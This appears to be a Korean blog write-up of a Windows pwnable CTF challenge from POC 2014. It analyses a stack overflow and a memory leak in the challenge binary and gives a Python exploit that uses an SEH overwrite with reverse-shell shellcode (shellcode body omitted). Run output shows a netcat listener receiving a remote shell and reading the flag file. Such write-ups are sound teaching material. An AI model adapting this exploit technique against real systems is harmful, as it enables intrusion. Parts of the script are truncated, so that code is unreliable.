sweetchip's blog



블로그 포스팅을 너무 오랫동안 안했네요!!...


그동안 바쁘긴 했는데.. 그래도 뭐좀 쓰자 해서.. 얼마전에 출제한 문제의 write-up이 적절할 것 같아서 쓰기로 했습니다!


14년 11월 6일부터 7일! 2일간 POC 컨퍼런스가 있었습니다.


[위는 POC에서 얻은 것들.. 이번 입장권은 이쁘네요.. ㅎㅎ]


그리고 POC 이벤트 행사 중 여성해킹대회인 POWER OF XX 본선 경기가 있었습니다.


POX는 숙명여대 SISS와 HackerSchool - Wiseguys 팀이 함께 진행하는 행사였고 저는 작년과 마찬가지로 문제 출제를 담당했습니다.


아쉽게도 이번엔 바쁜일이 많아서 문제를 1개밖에 출제하지 못했었네요.. ㅠㅠ


아무튼 이번에 제가 출제했던 분야는 Pwnable이고 특이하게도 리눅스에서의 Pwnable이 아닌 윈도우에서의 Pwnable 문제입니다.


주로 리눅스보다 윈도우에서 시스템 해킹분야를 공부하다 보니 나름[?] 신선하겠다 해서 출제를 결심하게 되었습니다.


게다가 본선 진출팀중에서 윈도우 시스템 해킹을 공부했던 분이 몇분 있는걸로 알고 있고, 또 문제도 그리 어렵게 내지는 않을거라서 별 문제 없겠다 생각했습니다.


Binary :

brokenwindow


Description :

Can you Break Windows?

Key Example : flag{this_is_flag} -> this_is_flag

[Pwnable]


본격적인 풀이에 들어가기 앞서..

현재 Binary에 적용된 메모리 보호기법은 아래와 같습니다.
ASLR : ON
DEP : OFF
STACK COOKIE : ON
SAFE SEH : OFF

ASLR은 메모리 배치를 무작위로 해서 Exploit을 어렵게 하는것이고 Stack Cookie는 BOF를 체크하는 문제입니다.


4가지 보호기법 모두 컴파일러에 기본적으로 적용되어 있는 메모리 프로텍션들입니다.


하지만 난이도를 조절하기 위하여 일부 보호기법을 해제했습니다.


문제 컨셉은 제로데이 마켓입니다. (뭘 할까 하다가..)


sub_401000 proc near


var_4= dword ptr -4


push ebp

mov ebp, esp

push ecx

mov [ebp var_4], ecx

mov eax, [ebp var_4]

mov dword ptr [eax], 5 ; my_zeroday

mov ecx, [ebp var_4]

mov dword ptr [ecx 4], 2710h // 10000

mov edx, [ebp var_4]

mov dword ptr [edx 328h], offset sub_401070 // Function Pointer

mov eax, [ebp var_4]

mov esp, ebp

pop ebp

retn

우선 구조체를 설정하는 부분입니다.


위를 다시 코드로 정리해보면 아래와 같습니다


typedef struct st

{

int my_zeroday = 5;

int money = 10000;

??? // char description[500];

??? // char name[300]; - 두 값 모두 보이지는 않지만 실제론 이렇게 되어있습니다.

void* func_ptr = &sub_401070;

}st;


그리고..


sub_401070 proc near

push ebp

mov ebp, esp

push offset aThankYou_HaveA ; "[*] Thank you. Have a nice day\n"

call _puts

add esp, 4

pop ebp

retn


구조체 중 Function Pointer를 보면 단순하게 '고맙습니다, 좋은하루 되세여' 라는 뜻의 문장을 출력해주는 함수입니다.


이 다음부턴 급 귀찮아지니 우리의 친구 F5를 사용하겠습니다


signed int __cdecl sub_401090()

{

int v0; // eax@1

void (*v2)(void); // [sp 4h] [bp-370h]@0

int v3; // [sp 8h] [bp-36Ch]@5

int v4; // [sp Ch] [bp-368h]@1

int v5; // [sp 10h] [bp-364h]@6

char v6; // [sp 14h] [bp-360h]@13

char v7; // [sp 208h] [bp-16Ch]@13

void (*v8)(void); // [sp 334h] [bp-40h]@8

char WideCharStr; // [sp 338h] [bp-3Ch]@5

char v10; // [sp 33Ch] [bp-38h]@16


v0 = sub_40138A();

setvbuf((FILE *)(v0 32), 0, 4, 0);

sub_401000(&v4);

while ( dword_4154E4 < 30 )

{

dword_4154E4;

if ( dword_4154E4 > 50 )

exit(0);

sub_401030();

puts("> ");

sub_40A587(0, (LPWSTR)&WideCharStr, 2u);

v3 = sub_402175(&WideCharStr);

if ( v3 == 1 )

{

if ( v5 >= 5000 )

{

v5 -= 5000;

puts("[*] You bought a new 0day! and paid 5000won.");

v2 = v8;

v8();

}

else

{

puts("[-] You don't have any money. Go back..");

}

}

else if ( v3 == 2 )

{

if ( v4 >= 1 )

{

puts("[ ] Input Vulnerability Title : ");

sub_40A587(0, &::WideCharStr, 0x12Cu);

memmove(&v7, &::WideCharStr, 0x12Cu); // Information Leak

puts("[ ] Input Details about your 0-day: ");

sub_40A587(0, &word_4151C0, 0x1F4u);

memmove(&v6, &word_4151C0, 0x1F4u);

sub_40147B("[*] Title : %s\n[*] DESC : %s\n", (unsigned int)&v7);

puts("[*] Thank you! you got 3000Won");

((void (__cdecl *)(void (*)(void), void (*)(void)))v8)(v8, v2);

v5 = 3000;

--v4;

}

else

{

puts("[-] Hmm, I don't have any zeroday..");

}

}

else

{

if ( v3 == 3 )

{

puts("[ ] HELLO? : ");

sub_40167F("%s", (unsigned int)&v10); // scanf BOF!!

puts("[*] YOU GOT PWNED :)");

return 1;

}

if ( !v3 )

{

puts("[-] bye");

return 1;

}

puts("[?] WTF");

}

}

return 1;

}


우선 코드를 간단하게 정리해보면

처음 메뉴 1,2,3 을 출력하고 각 선택할때 분기문으로 흘러갑니다.

1번 분기는 제로데이를 구입하는것이고

2번 분기는 제로데이를 판매하는데 title과 description을 적습니다. 그리고 임시로 전역변수에 담고 이후 구조체변수에 담습니다.

3번 분기는 제로데이를 마음껏 사용하는 메뉴입니다.


하나하나 살펴보면..


3번 분기에서 scanf와 %s로 인하여 Buffer Overflow 취약점이 발생하고 Return Address를 덮어쓸 수 있습니다.


하지만! 아까 처음 보호기법에 의하면 ASLR과 Stack Cookie가 적용되어 있기 때문에, 리턴어드레스를 덮어씌우는 것 만으로는 부족합니다.


하지만! DEP가 설정되어있지 않기 때문에 쉘코드 실행은 간단하죠!


하지만! 쉘코드를 어디에 둬야 하는지 약간 의문이 들기도 합니다. 이것에 대한 답은 2번 분기에서 Vuln Title과 Description을 적는곳이 있었는데


이부분에 잠시 전역변수에 값을 담고 구조체로 옮기기 때문에 전역변수에 쉘코드를 담는다면 다른 메뉴로 가도 여전히 쉘코드가 남아있을 것입니다.


이때 전역변수의 값은 Base address offset 이고, offset은 일정하기 때문에 Base Address만 구해주면 문제를 간단하게 해결할 수 있습니다.


또한 이때 Base Address는 2번 메뉴의 memmove 함수로 인하여 구조체의 Function Pointer의 값을 유출할 수 있습니다. (Info Leak)


마지막으로 Stack Cookie 보호기법이 있기때문에 Return Address의 값을 손상시켜도 EIP가 제대로 컨트롤 되지 않을 것입니다.


이는 SEH Overwrite를 이용하여 우회할 수 있습니다. 간단하게 설명하면 SE Handler 값을 변조시키고 의도적으로 Exception을 발생하면 EIP 변경이 가능합니다.


자세한건 검색!



써놓고보니 복잡하지만 다시 정리하면


1. BOF 취약점

2. 전역변수에 쉘코드를 담고

3. Info Leak으로 Function Pointer의 값을 유출 시켜 Base Address를 구한뒤

4. SEH Overwrite로 전역변수 위치(Base Address offset)로 EIP 변조


위 과정을 거치면 쉘을 딸 수 있습니다.


#exploit.py

from socket import *

import threading

import time

import struct


up = lambda x : struct.unpack("

p = lambda x : struct.pack("



def payload():

# metasploit

# use payload/window/shell_reverse_tcp

# bad char : 0x00 0xff 0x0a 0x0d 0x1a

shellcode =( 삭제 )

result = ""

result = "\x90"*50

result = shellcode

return result


def bad():

result = ""

for i in range(1, 26):

result = chr(i)

return result


ip = "192.168.0.93"

port = 1337

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


time.sleep(0.1)

print s.recv(2048)

s.send("2")

print s.recv(4096)

s.send("A"*300)

time.sleep(0.1)

print s.recv(4096)

p = payload() "A"*(500-len(payload()))

s.send(p)

time.sleep(0.1)

temp = s.recv(40960)

ptr = temp.split("A"*300)[1].split("[*]")[0].replace("\x0d\x0a","")[0:4] # RAW memor (leaked)

print temp


if len(ptr) == 3:

ptr = "\x00"


print ptr.encode("hex")

print "base address : " hex(up(ptr)&0xffff0000)

print "shellcode address : "

shellptr = ((up(ptr)&0xffff0000) 0x151c0 0x20)



s.send("3")

time.sleep(0.1)

print s.recv(4096)

exploit = "A"*116

exploit = struct.pack("

exploit = "D"*10000

s.send(exploit)


s.close()



확률은 거의 90% (aslr 때문에..)로 작동합니다.



C:\Users\sweetchip\Desktop>exploit.py

[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>


[ ] Input Vulnerability Title :


[ ] Input Details about your 0-day:


[*] Title : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?


[*] DESC : 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱柏?$??B?O1r꺜

r캠??塢까??J次.gx蝕?,理?

홃뱩?

DR?눛씵xsN??;㎯!|0?궃ㅨ괺\Td?0?k6?섏}?=}穗???笠잶

렁[?\쎒V盖梓?벣앵E냰?꺢??

j픽]$괼7냟y?樺?}%a곽p?lu?z2 <1???&W힅?2샹-~zT\程Z?:AAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?

[*] Thank you! you got 3000Won

[*] Thank you. Have a nice day


[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>


70101e01

base address : 0x11e0000L

shellcode address :

[ ] HELLO? :



C:\Users\sweetchip>nc -lvp 31337

listening on [any] 31337 ...

connect to [192.168.0.93] from [Blind] [192.168.0.93] 62851

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.


K:\prob_server>dir

dir

K 드라이브의 볼륨: [Blind]

볼륨 일련 번호: A497-E7DC


K:\prob_server 디렉터리


2014-11-09 오후 09:02

.

2014-11-09 오후 09:02

..

2014-11-06 오전 09:50 84,992 brokenwindow.exe

2014-11-06 오전 10:22 45 key.txt

2014-11-06 오전 09:50 75,264 loader.exe

2014-11-03 오전 11:09 32 run.bat

4개 파일 160,333 바이트

2개 디렉터리 5,296,316,416 바이트 남음


K:\prob_server>type key.txt

type key.txt

flag{Only_True_Love_Can_Break_Frozen_Windows}

K:\prob_server>


Key : Only_True_Love_Can_Break_Frozen_Windows


키는 POC 2014에서 passket & SNE, "Only True Love Can Thaw frozen SCADA Systems" 의 발표제목을 참고했습니다. ㅋㅋ


음...


끝!! ㅋㅋ



신고

Comment 6

  • Reset
    2014.11.09 21:55 신고 수정 답글

    이거 푼 팀이 있음?ㅋㅋㅋㅋㅋㅋㅋㅋ

    • 2014.11.10 00:15 신고 수정

      전반적으로 팀들이 시도를 안하는것 같았음..
      그래서 푼팀은 없었음.. ㅠㅠ 아쉽

  • hakbaby
    2014.11.10 10:21 신고 수정 답글

    휴 아쉽당 ㅠㅠ 시도라두 해볼걸 ㅠㅠ
    괜히 겁먹어서는 ㅠㅠ 에효
    다음엔 꼭 풀께요!!! :D

  • bloneplay
    2014.11.11 18:59 신고 수정 답글

    재밌게 잘 만든 문제같은데 시도한 팀도 많이 없었다니 아쉽네요 ㅋ